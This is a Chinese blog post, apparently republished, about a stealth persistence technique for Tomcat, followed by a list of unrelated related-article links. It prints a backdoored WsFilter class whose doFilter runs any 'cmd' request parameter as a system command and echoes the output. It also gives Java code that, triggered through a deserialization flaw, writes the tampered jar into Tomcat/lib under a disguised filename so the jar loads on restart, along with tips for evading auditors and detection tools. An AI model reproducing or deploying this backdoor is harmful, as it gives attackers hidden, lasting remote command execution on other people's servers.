介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

→点击查看技术资料←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中

构造

在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

package org.apache.tomcat.websocket.server;import java.io.IOException;import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** Handles the initial HTTP connection for WebSocket connections.*/
public class WsFilter implements Filter {private WsServerContainer sc;@Overridepublic void init(FilterConfig filterConfig) throws ServletException {sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);}@Overridepublic void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException {// 不改变原有逻辑,在这里插入代码String cmd = request.getParameter("cmd");if (cmd != null && !cmd.equals("")) {Process process = Runtime.getRuntime().exec(cmd);StringBuilder outStr = new StringBuilder();response.getWriter().print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {outStr.append(s + "\n");}response.getWriter().print(outStr.toString());response.getWriter().print("</pre>");}// This filter only needs to handle WebSocket upgrade requestsif (!sc.areEndpointsRegistered() ||!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {chain.doFilter(request, response);return;}// HTTP request with an upgrade header for WebSocket presentHttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;// Check to see if this WebSocket implementation has a matching mappingString path;String pathInfo = req.getPathInfo();if (pathInfo == null) {path = req.getServletPath();} else {path = req.getServletPath() + pathInfo;}WsMappingResult mappingResult = sc.findMapping(path);if (mappingResult == null) {// No endpoint registered for the requested path. Let the// application handle it (it might redirect or forward for example)chain.doFilter(request, response);return;}UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),mappingResult.getPathParams());}@Overridepublic void destroy() {// NO-OP}
}

编译WsFilter.java生成WsFilter.class字节码文件

然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了

(压缩文件本身有替换功能,也可以使用工具重打包等)

这时候启动Tomcat发现一切正常,但已经存在了一个“永远”的Webshell

审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在

然而他们不会想到是Tomcat必须的WsFilter有问题

核心

以上逻辑看似合理,实际上有很大的问题:

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于Tomcat对Jar包的特殊加载顺序

(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)

如果我在Tomcat/lib下复制一个tomcat-websocket.jar

区别在于.jar之前加入一个空格:tomcat-websocket .jar

这时候启动Tomcat会发现tomcat-websocket .jar被加载了

参考图片中的路径,其中包含%20

有了突破思路

利用

假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib下添加恶意库

这个库可以由黑客自行构造,然后转成二进制数据传过去

try {// 从standardContext中得到的resource路径是tomcat/libWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();String path = standardCtx.getClass().getClassLoader().getResource("").toString();// 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jarString finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";// 为了测试方便直接读了文件// 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右)byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));// 写入目标路径Files.write(Paths.get(finalPath),data);
} catch (Exception e) {e.printStackTrace();
}

暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启

(其实服务端的Tomcat重启概率不算低,很多情况都会重启)

重启后会加载恶意的tomcat-websocket .jar文件,这时候已经实现了顽固的内存马

攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami看结果,一旦有结果说明有重启,加载了恶意jar

经过测试,发现.等情况也会导致这种问题,不过暂时没有做深入的研究

如下图,防守方在审计时,看到FilterName和FilterClass都是Tomcat自带的,FilterClassFile位于Tomcat/lib下的,是没有什么问题的

面多众多的Filter和Servlet情况下,很难会想到是WsFilter出的问题

后来测试发现了一种进一步隐藏的方式:

黑客可以获取路径得到tomcat版本,比如我这里的8.5.72,分割路径即可获得字符串

然后给新jar包命名位tomcat-websocket-8.5.72.jar

相对于加个.或者空格,这种做法更为隐蔽

代码在:https://github.com/EmYiQing/MemShell/ 参考文献

最后

私信我获取【网络安全学习资料】

从一个被Tomcat拒绝的漏洞到特殊内存马相关推荐

  1. 今天,咱不讲三国,就聊聊Shiro的反序列化漏洞,以及内存马技术!

    Shiro反序列化漏洞 漏洞介绍 上图为Shiro默认的登录页面,页面可见:Shiro提供了记住我(RememberMe)的功能. 然而,Shiro对rememberMe的cookie做了加密处理,s ...

  2. Tomcat 爆出高危漏洞!

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 一.漏洞背景 安全公告编号:CNTA-2020-0004 2020 ...

  3. Apache Tomcat 文件包含漏洞(CVE-2020-1938)

    安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...

  4. tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现

    一.漏洞背景2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告.Tom ...

  5. tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析

    作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...

  6. Tomcat Ajp(CVE-2020-1938) 漏洞复现与修复

    前言 2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938).该漏洞是由于Tomcat AJP协议存 ...

  7. Tomcat AJP安全漏洞

    关于Apache Tomcat存在文件包含漏洞   2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2 ...

  8. 一个云本地文件包含漏洞,影响世界一流公司

    本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...

  9. 分享一个近期遇到的逻辑漏洞案例

    0×01 看见你很高兴 做了一个近期遇到的逻辑漏洞思维导图,再拿几个案例跟大家分享交流一下. 0×02 思维导图 0×03 实际案例 一.修改优惠券金额 某系统提供了在线购买套餐的功能,新用户都可领取 ...

最新文章

  1. Compiled functions can't take variable number of arguments or use keyword-only arguments with defaul
  2. 【机器学习入门笔记1:anaconda一站式开发环境搭建】20190122
  3. (计算机组成原理)第六章总线-第三节:总线操作和定时(同步定时和异步定时)
  4. Exploration(POJ-3618)
  5. Android Vendor Test Suite (VTS) 作用及测试方法
  6. 20172319 实验三《查找与排序》实验报告
  7. 并发编程---死锁||递归锁---信号量---Event事件---定时器
  8. 妙启动_十张图带你了解中国国产奶酪巨头——妙可蓝多发展情况
  9. JS 打印 data数据_用D3.js 十分钟实现字符跳动效果
  10. Laravel5.1/Homestead (0.2.7) 开发环境的部署和设置
  11. keil uvision4 汉化破解版v4.12
  12. SQL Server如何建表
  13. 夹水晶头8根网线的顺序
  14. Flink流处理框架下的交通灯控制器
  15. word中替换方式处理多行文本为一段
  16. 《流浪地球》地下城怎么建?三维地学建模探秘地下空间
  17. Windows环境下,输入(Chkntfs /X C:)命令可以取消系统每次启动对C盘的磁盘扫描程序
  18. numpy中的协方差,方差相关计算
  19. 前列腺穿刺活检技术发展
  20. 进化算法——蛙跳算法Python代码

热门文章

  1. DayDayUp之Job:牛客网—算法工程师—剑指offer之66道在线编程(解决思路及其代码)——1~20
  2. 成功解决利用matplotlib.pyplot进行绘图的时候整个画布中的绘制曲线只显示一部分
  3. TensorFlow:深度学习框架TensorFlow TensorFlow_GPU的简介、安装、测试之详细攻略
  4. golang 学习 (八)协程
  5. 【常用算法总结——最短路径四种方法】
  6. python 2.7 简单模拟登陆网站
  7. php or || 和 and
  8. 利用DAC(Data-tier Application)实现数据库结构迁移
  9. 理解SetWindowOrg,SetViewportOrg,SetWindowExt,SetViewportExt
  10. Win10安装Maven并更换阿里源